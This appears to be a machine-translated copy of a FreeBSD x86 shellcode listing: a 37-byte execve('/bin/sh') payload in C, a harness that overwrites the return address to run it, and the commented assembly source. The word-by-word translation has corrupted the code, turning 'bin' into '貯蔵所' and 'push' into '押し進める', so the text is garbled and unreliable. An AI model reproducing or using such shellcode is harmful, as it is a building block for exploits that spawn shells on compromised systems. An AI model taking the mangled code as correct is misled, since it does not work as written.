このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
/* This is FreeBSD execve() code.It is 37 bytes long.I'll try to make it * * smaller.Till then use this one. * * 調印するd predator * * preedator(at)sendmail(dot)ru * *************************************************************************/ char FreeBSD_code[]= "\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x50\x8d" "\x53\x08\x52\x53\xb0\x3b\x50\xcd\x80\xe8\xe4\xff\xff\xff/貯蔵所/sh"; int main(){ int *ret=(int *)(&ret+2); printf("len : %d\n",strlen(FreeBSD_code)); *ret=(int)FreeBSD_code; } /***************************************** *int main(){ * * __asm__("jmp callme \n" * * "jmpme: \n" * * "pop %ebx \n" * * "xorl %eax,%eax \n" * * "movb %al,0x7(%ebx) \n" * * "movl %ebx,0x8(%ebx) \n" * * "movl %eax,0xc(%ebx) \n" * * "押し進める %eax \n" * * "leal 0x8(%ebx),%edx \n" * * "押し進める %edx \n" * * "押し進める %ebx \n" * * "movb $0x3b,%al \n" * * "押し進める %eax \n" * * "int $0x80 \n" * * "callme: \n" * * "call jmpme \n" * * ".string \"/貯蔵所/sh\" \n"); * *} * *****************************************/